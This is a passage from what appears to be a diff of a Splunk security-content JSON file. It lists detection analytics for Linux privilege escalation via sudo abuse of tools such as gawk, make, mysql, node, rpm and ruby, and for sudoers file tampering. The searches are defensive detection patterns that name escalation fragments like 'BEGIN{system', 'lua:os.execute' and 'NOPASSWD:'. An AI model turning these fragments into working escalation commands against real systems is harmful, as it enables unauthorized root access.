potential privilege escalation attempt, allowing a user to execute commands as the root user. If confirmed malicious, this could lead to full system compromise, enabling the attacker to gain root access and execute arbitrary commands with elevated privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*gem*open*-e*\" AND Processes.process=\"*-c*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_gem_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux GNU Awk Privilege Escalation", - "description": "The following analytic detects the execution of the 'gawk' command with elevated privileges on a Linux system. It leverages Endpoint Detection and Response (EDR) telemetry to identify command-line executions where 'gawk' is used with 'sudo' and 'BEGIN{system' patterns. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute system commands as root. If confirmed malicious, this could lead to full root access, enabling the attacker to control the system, modify critical files, and maintain persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*gawk*\" AND Processes.process=\"*BEGIN*{system*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_gnu_awk_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Make Privilege Escalation", - "description": "The following analytic detects the use of the 'make' command with elevated privileges to execute system commands as root, potentially leading to a root shell. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include 'make', '--eval', and 'sudo'. This activity is significant because it indicates a possible privilege escalation attempt, allowing a user to gain root access. If confirmed malicious, an attacker could achieve full control over the system, execute arbitrary commands, and compromise the entire environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*make*-s*\" AND Processes.process=\"*--eval*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_make_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux MySQL Privilege Escalation", - "description": "The following analytic detects the execution of MySQL commands with elevated privileges using sudo, which can lead to privilege escalation. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential misuse of MySQL to execute system commands as root, which could allow an attacker to gain root shell access. If confirmed malicious, this could result in full control over the affected system, leading to severe security breaches and unauthorized access to sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*mysql*-e*\" AND Processes.process=\"*\\!**\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_mysql_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Node Privilege Escalation", - "description": "The following analytic identifies the execution of Node.js with elevated privileges using sudo, specifically when spawning child processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include specific Node.js commands. This activity is significant because running Node.js as a superuser without dropping privileges can allow unauthorized access to the file system and potential privilege escalation. If confirmed malicious, this could enable an attacker to maintain privileged access, execute arbitrary code, and compromise sensitive data within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*sudo*node*\" AND Processes.process=\"*-e*\" AND Processes.process=\"*child_process.spawn*\" AND Processes.process=\"*stdio*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_node_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux NOPASSWD Entry In Sudoers File", - "description": "The following analytic detects the addition of NOPASSWD entries to the /etc/sudoers file on Linux systems. It leverages Endpoint Detection and Response (EDR) telemetry to identify command lines containing \"NOPASSWD:\". This activity is significant because it allows users to execute commands with elevated privileges without requiring a password, which can be exploited by adversaries to maintain persistent, privileged access. If confirmed malicious, this could lead to unauthorized privilege escalation, persistent access, and potential compromise of sensitive data and system integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*NOPASSWD:*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_nopasswd_entry_in_sudoers_file_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ executed on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Octave Privilege Escalation", - "description": "The following analytic detects the execution of GNU Octave with elevated privileges, specifically when it runs system commands via sudo. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments that include \"octave-cli,\" \"--eval,\" \"system,\" and \"sudo.\" This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute commands as root. If confirmed malicious, this could lead to full system compromise, enabling an attacker to gain root access and execute arbitrary commands, severely impacting system security and integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*octave-cli*\" AND Processes.process=\"*--eval*\" AND Processes.process=\"*system*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_octave_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux OpenVPN Privilege Escalation", - "description": "The following analytic detects the execution of OpenVPN with elevated privileges, specifically when combined with the `--dev`, `--script-security`, `--up`, and `sudo` options. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments and execution details. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute system commands as root. If confirmed malicious, this could lead to full system compromise, enabling an attacker to gain root access and execute arbitrary commands with elevated privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*openvpn*\" AND Processes.process=\"*--dev*\" AND Processes.process=\"*--script-security*\" AND Processes.process=\"*--up*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_openvpn_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux PHP Privilege Escalation", - "description": "The following analytic detects the execution of PHP commands with elevated privileges on a Linux system. It identifies instances where PHP is used in conjunction with 'sudo' and 'system' commands, indicating an attempt to run system commands as the root user. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments. This activity is significant because it can indicate an attempt to escalate privileges, potentially leading to full root access. If confirmed malicious, this could allow an attacker to execute arbitrary commands with root privileges, compromising the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*php*-r*\" AND Processes.process=\"*system*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_php_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Possible Access To Sudoers File", - "description": "The following analytic detects potential access or modification of the /etc/sudoers file on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes like \"cat,\" \"nano,\" \"vim,\" and \"vi\" accessing the /etc/sudoers file. This activity is significant because the sudoers file controls user permissions for executing commands with elevated privileges. If confirmed malicious, an attacker could gain persistence or escalate privileges, compromising the security of the targeted host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"cat\", \"nano*\",\"vim*\", \"vi*\") AND Processes.process IN(\"*/etc/sudoers*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_access_to_sudoers_file_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Puppet Privilege Escalation", - "description": "The following analytic detects the execution of Puppet commands with elevated privileges, specifically when Puppet is used to apply configurations with sudo rights. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential privilege escalation attempt, where a user could gain root access and execute system commands as the root user. If confirmed malicious, this could allow an attacker to fully compromise the system, execute arbitrary commands, and maintain persistent control.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*puppet*\" AND Processes.process=\"*apply*\" AND Processes.process=\"*-e*\" AND Processes.process=\"*exec*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_puppet_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux RPM Privilege Escalation", - "description": "The following analytic detects the execution of the RPM Package Manager with elevated privileges, specifically when it is used to run system commands as root via the `--eval` and `lua:os.execute` options. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process metadata. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to gain root access. If confirmed malicious, this could lead to full system compromise, unauthorized access to sensitive data, and further exploitation of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*rpm*--eval*\" AND Processes.process=\"*lua:os.execute*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_rpm_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Ruby Privilege Escalation", - "description": "The following analytic detects the execution of Ruby commands with elevated privileges on a Linux system. It identifies processes where Ruby is used with the `-e` flag to execute commands via `sudo`, leveraging Endpoint Detection and Response (EDR) telemetry. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute commands as root. If confirmed malicious, this could lead to full system compromise, enabling an attacker to gain root access, execute arbitrary commands, and maintain persistent control over the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*ruby*-e*\" AND Processes.process=\"*exec*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_ruby_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Sqlite3 Privilege Escalation", - "description": "The following analytic detects the execution of the sqlite3 command with elevated privileges, which can be exploited for privilege escalation. It leverages Endpoint Detection and Response (EDR) telemetry to identify instances where sqlite3 is used in conjunction with shell commands and sudo. This activity is significant because it indicates a potential attempt to gain root access, which could lead to full system compromise. If confirmed malicious, an attacker could execute arbitrary commands as root, leading to unauthorized access, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*sqlite3*\" AND Processes.process=\"*.shell*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_sqlite3_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Sudo OR Su Execution", - "description": "The following analytic detects the execution of the \"sudo\" or \"su\" command on a Linux operating system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and parent process names. This activity is significant because \"sudo\" and \"su\" commands are commonly used by adversaries to elevate privileges, potentially leading to unauthorized access or control over the system. If confirmed malicious, this activity could allow attackers to execute commands with root privileges, leading to severe security breaches, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"sudo\", \"su\") OR Processes.parent_process_name IN (\"sudo\", \"su\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_sudo_or_su_execution_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that execute sudo or su in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Sudoers Tmp File Creation", - "description": "The following analytic detects the creation of the \"sudoers.tmp\" file, which occurs when editing the /etc/sudoers file using visudo or another editor on a Linux platform. This detection leverages filesystem data to identify the presence of \"sudoers.tmp\" files. Monitoring this activity is crucial as adversaries may exploit it to gain elevated privileges on a compromised host. If confirmed malicious, this activity could allow attackers to modify sudoers configurations, potentially granting them unauthorized access to execute commands as other users, including root, thereby compromising the system's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*sudoers.tmp*\") by Filesystem.dest Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | 